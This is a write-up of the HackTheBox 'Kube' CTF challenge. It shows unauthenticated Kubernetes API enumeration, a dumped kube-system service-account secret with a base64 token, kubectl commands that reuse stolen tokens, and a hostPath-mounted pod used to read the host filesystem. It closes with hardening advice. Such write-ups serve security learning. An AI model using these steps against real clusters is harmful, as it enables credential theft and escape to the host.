HTB Business CTF 2021 — Kube

Hi everyone! I want to share my experience when participated in the Capture The Flag (CTF) event from HackTheBox especially in cloud category by solving a challenge called “Kube”. The participants had to create a team or join an existing team were capped at 10 users (1 team), and honestly I joined my friend’s team in 3 hours before the event ends yesterday (Indonesia Time). This is the 2nd time, I playing CTF with my friends, previously we also participated in the AWS CTF 2021 from HackerOne and learned a lot about AWS cloud enumeration, how the services works with each other. Without further ado, let’s get started!

Note: During the event, I’m focused to solve the challenge and can’t take any screenshots step by step.

1. Kubernetes API enumeration (Discovery)

First, I didn’t scan the remote host because I was thought the issue is comes from Kubernetes API server (port 6443) because this is the common scenario when we’re talking about Attacking or Defending Kubernetes. If you never heard about it, you need to know the core components of Kubernetes that you can explore on this link. Next, I tried to access the API server through browser but it doesn’t show me any errors which means “maybe” the default port is changes, then it’s time for me to use nmap and I get the information if port 8443 is opened!

Then, performed some unauthenticated Kubernetes API enumeration like the endpoints below:

# List Namespaces
https://<Kubernetes_API_IP>:8443/api/v1/namespaces
# List Pods
https://<Kubernetes_API_IP>:8443/api/v1/namespaces/<namespace>/pods/
# List Secrets
https://<Kubernetes_API_IP>:8443/api/v1/namespaces/<namespace>/secrets/

What do we need to look for? the Secrets!

Because it contains the credentials such as a token and the certificate authority to authenticate within the cluster using curl or kubectl command line tool.

2. Check the credentials permissions (Initial Access)

You must be noticed there are a lot of secrets in kube-system namespace for example:

{
"metadata": {
"name": "attachdetach-controller-token-5ts7m",
"namespace": "kube-system",
"uid": "ff42960f-f063-4df3-b330-e4cbc26f56d4",
"resourceVersion": "356",
"creationTimestamp": "2021-07-19T19:06:55Z",
"annotations": {
"kubernetes.io/service-account.name": "attachdetach-controller",
"kubernetes.io/service-account.uid": "b780d31d-3e92-40af-8a12-dbec2d4e5675"
},
"managedFields": [
{
"manager": "kube-controller-manager",
"operation": "Update",
"apiVersion": "v1",
"time": "2021-07-19T19:06:55Z",
"fieldsType": "FieldsV1",
"fieldsV1": {"f:data":{".":{},"f:ca.crt":{},"f:namespace":{},"f:token":{}},"f:metadata":{"f:annotations":{".":{},"f:kubernetes.io/service-account.name":{},"f:kubernetes.io/service-account.uid":{}}},"f:type":{}}
}
]
},
"data": {
"ca.crt": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURCakNDQWU2Z0F3SUJBZ0lCQVRBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwdGFXNXAKYTNWaVpVTkJNQjRYRFRJeE1EY3hPREU1TURVME1Wb1hEVE14TURjeE56RTVNRFUwTVZvd0ZURVRNQkVHQTFVRQpBeE1LYldsdWFXdDFZbVZEUVRDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTWJRCmM1YmlkbEl0ekdDemNDRUltaHRJTVBucVdiZkRUbGgxdHFFVUozakM5RHJJNE5WRWt0cnB0MnFsbEFCNlJLQlMKNTNUTDFMcHVtMEl3ZTdzZkdJTCtZaG1Zb2ZUZ2VWSHJVMWJzaHBESXlkU3kwTTBKMFhvMG5zQ2lrajgvWHBjbApjbVNzSUhQMjUwNFRXekRaYXF1dU96cUxJWklkNzQrY3FQQ0VXMnlhazFUVWdmVXoyTVdTbVM4eDJMSG05SkJVCmVEcnFkTUx2K2NhVTRET2FLUFVtaVhYNUFSOUp1UGUvTGRYcno5RUw0Sm1mZUFBakhZSVBTcXRIbXpQMmxxdVYKbjk3M254RkpxZEtlWWovNGpvQldNd2t4MXpCZkpZUG5uWkRoUk94NFhOMUxrdFVDeDBoWmlhNEs4OHRCeS9CYQp6eml3NFloRmtycWo0dnNlSDdzQ0F3RUFBYU5oTUY4d0RnWURWUjBQQVFIL0JBUURBZ0trTUIwR0ExVWRKUVFXCk1CUUdDQ3NHQVFVRkJ3TUNCZ2dyQmdFRkJRY0RBVEFQQmdOVkhSTUJBZjhFQlRBREFRSC9NQjBHQTFVZERnUVcKQkJRTXlHNGVkOC93WWdjRFBGeW5HdVE1SVNzL3pqQU5CZ2txaGtpRzl3MEJBUXNGQUFPQ0FRRUFZY2dvbjUrNAp3cklTN0hlVm1pSWQvamRCOU1zdXNsTVl5dU11R2hWVXBIc1QvWEg0aUxTVjhiQWNSNDd2bjFmcjZqVFN3UGJYCnd5c1AzSTRwcHNZWkNWdDEzRWJSNlBsZktIUzlONlJYLzI4eXFVcmJwTUM2Z3NqVVNOd1FEdTQralVvb3BicGcKZW55eTZIZkRlTnZyTDMxOGoyOFZBT2syREw4NzFwNTV3SnhGUlhzeTZFeVFLczR0eXovSVVGTlVVZktTWVhmMgpZQmFaTHY4TzFaWGdBVEpqSFJRMEZySEhxcHZHdEcxdGRqVXhSSmQzSlFxMHlHd1AyYVZiMGhMNkQ0eUdCUzhMCk83MWdDRWlxcjY4OEZOSFhObGdyekwxc0JqNVlKcGNzLzV4NkdjYmp1WXVUMFcwZ0pIbHIwZGR1aUpDTmZVamsKWm9RRXU3OTFPK3RBOWc9PQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==",
"namespace": "a3ViZS1zeXN0ZW0=",
"token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWkNJNklrMVlTbFZxVDBwM2QyTnRNVzk1V2xCM09Ua3hRMEpmYW1oTmVHMHhUMlZTZUVOSVRITmZZV3gwYldzaWZRLmV5SnBjM01pT2lKcmRXSmxjbTVsZEdWekwzTmxjblpwWTJWaFkyTnZkVzUwSWl3aWEzVmlaWEp1WlhSbGN5NXBieTl6WlhKMmFXTmxZV05qYjNWdWRDOXVZVzFsYzNCaFkyVWlPaUpyZFdKbExYTjVjM1JsYlNJc0ltdDFZbVZ5Ym1WMFpYTXVhVzh2YzJWeWRtbGpaV0ZqWTI5MWJuUXZjMlZqY21WMExtNWhiV1VpT2lKaGRIUmhZMmhrWlhSaFkyZ3RZMjl1ZEhKdmJHeGxjaTEwYjJ0bGJpMDFkSE0zYlNJc0ltdDFZbVZ5Ym1WMFpYTXVhVzh2YzJWeWRtbGpaV0ZqWTI5MWJuUXZjMlZ5ZG1salpTMWhZMk52ZFc1MExtNWhiV1VpT2lKaGRIUmhZMmhrWlhSaFkyZ3RZMjl1ZEhKdmJHeGxjaUlzSW10MVltVnlibVYwWlhNdWFXOHZjMlZ5ZG1salpXRmpZMjkxYm5RdmMyVnlkbWxqWlMxaFkyTnZkVzUwTG5WcFpDSTZJbUkzT0RCa016RmtMVE5sT1RJdE5EQmhaaTA0WVRFeUxXUmlaV015WkRSbE5UWTNOU0lzSW5OMVlpSTZJbk41YzNSbGJUcHpaWEoyYVdObFlXTmpiM1Z1ZERwcmRXSmxMWE41YzNSbGJUcGhkSFJoWTJoa1pYUmhZMmd0WTI5dWRISnZiR3hsY2lKOS5ZR0VyLWtWQmZweUJ1UWVnUFdYU2hMUnFQOHA0WUxkSnFKdXVKYVU4V01BalVDQnhjNnRqMVNKdmlpM09jOXd1SjlzZ04wVUQ4c2phS0dqSkVGUF9zRDdRcV8wSXEtM0pxcG1vTkNpNW1qcGdEeGlNTVBKWHJUbzBqV0oyVl9WSmt0V18za29YLXh0bmZ3WS1ONVQtalpJTENqR1JYMF90V1pnS09IYmxBclppT1FfVjN0TnJwU0pFQmxvZmlVNzhHQWZtMDlETmExX1pkUHhKVFdBSjNoaElETzFUVmJTZG9WcGRZSXVlWFBEb0FXZXlrMEVHcnpsNVJyT0FzLU9Fd05tMU5yU1dhaFpNdnFsUmVQbmswdmxHc01LZTM5amZ5Q0dGVmd0ZkI1ZG1mYTh6bXRqcDYyOGNwaHZXOXFOSmhEeGZ0bFhJVFFiQmtfMlVydGxQZXc="
},
"type": "kubernetes.io/service-account-token"
},

Have a look to ca.crt and token section, this data are being unencrypted base64-encoded strings.

https://kubernetes.io/docs/concepts/configuration/secret/

We just need to decoded these data using base64 command line tool, then we got the certificate and JWT token like the below image:

ca.crt file
https://jwt.io/

Instead of accessing the API endpoints one by one through the curl command, why we don’t use the kubectl tool?

Reference: https://www.ibm.com/docs/en/cloud-paks/cp-management/2.0.0?topic=kubectl-using-service-account-tokens-connect-api-server

Follow the above reference to add a new context, service account and certificate authority to the ~/.kube/config file.

kubectl config set-cluster Kube --server=https://<Kubernetes_API_IP>:8443 --certificate-authority=ca.crt
kubectl config set-context Kube --cluster=Kube
kubectl config set-credentials user --token={JWT token}
kubectl config set-context Kube --user=default
kubectl config use-context Kube

What’s next? Since, there are a lot of credentials, we don’t know which are the correct credentials that has more privileges in the cluster?

kubectl auth can-i --list

The above command will shows an information which resources can we access and what’s the authorization do we have (get, list, create, update or etc)?

Learn more about Kubernetes Authorization: https://kubernetes.io/docs/reference/access-authn-authz/authorization/

After going deeper to collect some credentials, did some testing, and finally I get some interesting account in kube-system namespace such as daemon-set-controller-token-zh82r and generic-garbage-collector-token-4d2k4, where both have certain permissions in the cluster.

3. Create a malicious pods (Execution)

One of the previous credentials must have an access to get a pods information, such as a list or describe a pods using the following command:

kubectl get pods -A
kubectl get pod <pod_name> -n <namespace> -o yaml > pod.yaml

With the first command, I saw the interesting pods called “alpine” in kube-system namespace but the state is ErrImagePull which makes me thought if the cluster can’t be able to pull any public image except the existing image are being pull by the system. What does it means? Did you see there is another pods except alpine like etcd, kube-api-server, kube-controller-manager, storage-provisioner, and so on. They all have their own image that already pulled in the host, and behind the scene this cluster is already setup using kubeadm tool.

Reference: https://kubernetes.io/docs/reference/setup-tools/kubeadm/kubeadm-config/

Go to the 2nd command, which is to export the entire information about a running pods so we can know if there is something “funny”.

Noticed there is a hostPath with “/” directory which mounted host filesystem to the /root directory in the container. This thing should be avoid in your environment, the pods only able to mount a specific directory which already defined not any directory in the host (not security best practices).

Reference: https://attack.mitre.org/techniques/T1611/

Let’s move on to create a malicious pods with the below code:

This is the final manifest file that I used to get a flag.txt content

Previously, what i tried was using the different images such as:

  1. k8s.gcr.io/kube-apiserver:v1.21.2
  2. k8s.gcr.io/coredns/coredns:v1.8.0
  3. k8s.gcr.io/kube-controller-manager:v1.21.2
  4. gcr.io/k8s-minikube/storage-provisioner:v5
  5. k8s.gcr.io/etcd:3.4.13–0

Looking for an image that has a shell (/bin/bash, /bin/sh, or etc).

One of the image is using busybox and contain a shell (/bin/sh) that we can use to execute an available command to list the directory and read the flag file. This is the hard thing for me to use an alternative commands like ls and cat in busybox system especially in etcd docker images.

In the previous section, we have 2 credentials such as daemon-set-controller-token-zh82r and generic-garbage-collector-token-4d2k4. We will use daemon-set-controller-token-zh82r (doesn’t have any access to logs resources) credentials to create a pods using the following command:

kubectl create -f malicious-pod.yml

And the pods will be created in public namespace, then we can use kubectl logs <pod_name> to show the value from flag.txt file but we need to switch the credentials to generic-garbage-collector-token-4d2k4 because it has an access to dump pod logs.

kubectl logs demo

We’ve got the flag!

“Everything in life goes back to the basics” — Kron Gracie

Recap

Here are an important things to remember:

  1. Don’t let the secrets accessible by public or unauthenticated access (anonymous)
  2. Use encryption in Kubernetes Secrets to protect the cluster credentials
  3. Define least privileges access
  4. Protect the Kubernetes component such as API server, kubelet, etcd from public using a firewall
  5. Use Identity Access Management application like Keycloak
  6. Enforcing the policy in the cluster using Open Policy Agent Gatekeeper or Kyverno
  7. Minimize footprint in the images such as a small images without a shell or remove unnecessary commands.
  8. Using private registry to prevent someone pulling the images from outsource
  9. So on

Thanks for reading my simple article, hope you like it :D

References